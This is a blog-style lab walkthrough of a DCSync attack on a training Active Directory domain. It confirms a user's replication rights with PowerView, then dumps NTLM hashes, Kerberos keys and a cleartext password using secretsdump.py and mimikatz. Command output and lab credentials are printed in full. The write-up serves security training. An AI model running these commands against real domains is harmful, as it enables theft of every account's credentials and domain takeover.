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DCSync Attack

Sep 11, 20244 min read

We have control over user adunn and this user has DCSync privilege in the INLANEFREIGHT.LOCAL domain.

Let’s run DCSync in both Windows and Linux host.

Overview

DCSync - Steals the AD password database by using built-in Directory Replication Service Remote Protocol, which is used by DC to replicate domain data. Attacker can mimic a DC and retrieve user NTLM password hashes.

Key of this attack is requesting a DC to replicate passwords via DS-Replication-Get-Changes-All extended right.

To perform this attack, we need to have control over an account that has the rights to perform domain replication. Domain/Enterprise Admins and default domain admins have this right by default.

Cofirm DCSync

Get-DomainUser

Let’s first use PowerView’s Get-DomainUser to get the user’s SID:

PS C:\htb> Get-DomainUser -Identity adunn  |select samaccountname,objectsid,memberof,useraccountcontrol |fl
 
 
samaccountname     : adunn
objectsid          : S-1-5-21-3842939050-3880317879-2865463114-1164
memberof           : {CN=VPN Users,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=Shared Calendar
                     Read,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=Printer Access,OU=Security
                     Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=File Share H Drive,OU=Security
                     Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL...}
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD

Get-ObjectAcl

Now let’s check all ACLs set on the domain object using Get-ObjectAcl to get the ACLs associated with the object.

For this time, we will search specifically for replication rights and check if our user adunn possesses these rights.

PS C:\htb> $sid= "S-1-5-21-3842939050-3880317879-2865463114-1164"
 
PS C:\htb> Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} |select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl
 
AceQualifier          : AccessAllowed
ObjectDN              : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-498
ObjectAceType         : DS-Replication-Get-Changes
 
AceQualifier          : AccessAllowed
ObjectDN              : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-516
ObjectAceType         : DS-Replication-Get-Changes-All
 
AceQualifier          : AccessAllowed
ObjectDN              : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType         : DS-Replication-Get-Changes-In-Filtered-Set
 
AceQualifier          : AccessAllowed
ObjectDN              : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType         : DS-Replication-Get-Changes
 
AceQualifier          : AccessAllowed
ObjectDN              : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
SecurityIdentifier    : S-1-5-21-3842939050-3880317879-2865463114-1164
ObjectAceType         : DS-Replication-Get-Changes-All

Now we have confirmed adunn has replication rights.

DCSync Abuse

DCSync replication can be performed using tools such as Mimikatz, Invoke-DCSync, and impacket’s secretsdump.py.

secretsdump.py

Let’s use secretsdump.py to extract NTLM hashes and Kerberos Keys.

just-dc flag tells the tool to extract NTLM hashes and Kerberos keys from the NTDS file.

jadu101@htb[/htb]$ secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5 
 
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
 
Password:
[*] Target system bootKey: 0x0e79d2e5d9bad2639da4ef244b30fda5
[*] Searching for NTDS.dit
[*] Registry says NTDS.dit is at C:\Windows\NTDS\ntds.dit. Calling vssadmin to get a copy. This might take some time
[*] Using smbexec method for remote execution
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: a9707d46478ab8b3ea22d8526ba15aa6
[*] Reading and decrypting hashes from \\172.16.5.5\ADMIN$\Temp\HOLJALFD.tmp 
inlanefreight.local\administrator:500:aad3b435b51404eeaad3b435b51404ee:88ad09182de639ccc6579eb0849751cf:::
guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
lab_adm:1001:aad3b435b51404eeaad3b435b51404ee:663715a1a8b957e8e9943cc98ea451b6:::
ACADEMY-EA-DC01$:1002:aad3b435b51404eeaad3b435b51404ee:13673b5b66f699e81b2ebcb63ebdccfb:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:16e26ba33e455a8c338142af8d89ffbc:::
ACADEMY-EA-MS01$:1107:aad3b435b51404eeaad3b435b51404ee:06c77ee55364bd52559c0db9b1176f7a:::
ACADEMY-EA-WEB01$:1108:aad3b435b51404eeaad3b435b51404ee:1c7e2801ca48d0a5e3d5baf9e68367ac:::
inlanefreight.local\htb-student:1111:aad3b435b51404eeaad3b435b51404ee:2487a01dd672b583415cb52217824bb5:::
inlanefreight.local\avazquez:1112:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71:::
 
<SNIP>
 
d0wngrade:des-cbc-md5:d6fee0b62aa410fe
d0wngrade:dec-cbc-crc:d6fee0b62aa410fe
ACADEMY-EA-FILE$:des-cbc-md5:eaef54a2c101406d
svc_qualys:des-cbc-md5:f125ab34b53eb61c
forend:des-cbc-md5:e3c14adf9d8a04c1
[*] ClearText password from \\172.16.5.5\ADMIN$\Temp\HOLJALFD.tmp 
proxyagent:CLEARTEXT:Pr0xy_ILFREIGHT!
[*] Cleaning up...

We can use -just-dc-ntlm flag for only NTLM hash or we can use jsut-dc-user <USERNAME> to only extract data for a specific user.

  • -pwd-last-set: when each account’s password was last changed
  • -history: dump password history
  • -user-status: check if a user is disabled

mimikatz

PS C:\htb> .\mimikatz.exe
 
  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/
 
mimikatz # privilege::debug
Privilege '20' OK
 
mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator
[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
 
Object RDN           : Administrator
 
** SAM ACCOUNT **
 
SAM Username         : administrator
User Principal Name  : administrator@inlanefreight.local
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 10/27/2021 6:49:32 AM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-500
Object Relative ID   : 500
 
Credentials:
  Hash NTLM: 88ad09182de639ccc6579eb0849751cf
 
Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 4625fd0c31368ff4c255a3b876eaac3d
 
<SNIP>

Reversible Password

Sometimes when dumping hashes with secretsdump or mimikatz, we can see that there’s plain text passwords. This is due to reversible password. It is using RC4 for encryption and it could be decrypted using the secret key on the system.

Let’s search for account with reversible encryption option set:

PS C:\htb> Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl
 
DistinguishedName  : CN=PROXYAGENT,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
Enabled            : True
GivenName          :
Name               : PROXYAGENT
ObjectClass        : user
ObjectGUID         : c72d37d9-e9ff-4e54-9afa-77775eaaf334
SamAccountName     : proxyagent
SID                : S-1-5-21-3842939050-3880317879-2865463114-5222
Surname            :
userAccountControl : 640
UserPrincipalName  :

We can also use PowerView’s Get-DomainUser for this as well:

PS C:\htb> Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
 
samaccountname                         useraccountcontrol
--------------                         ------------------
proxyagent     ENCRYPTED_TEXT_PWD_ALLOWED, NORMAL_ACCOUNT

Moving On

Let’s study on ways to enumerate and take advantage of remote

Graph View

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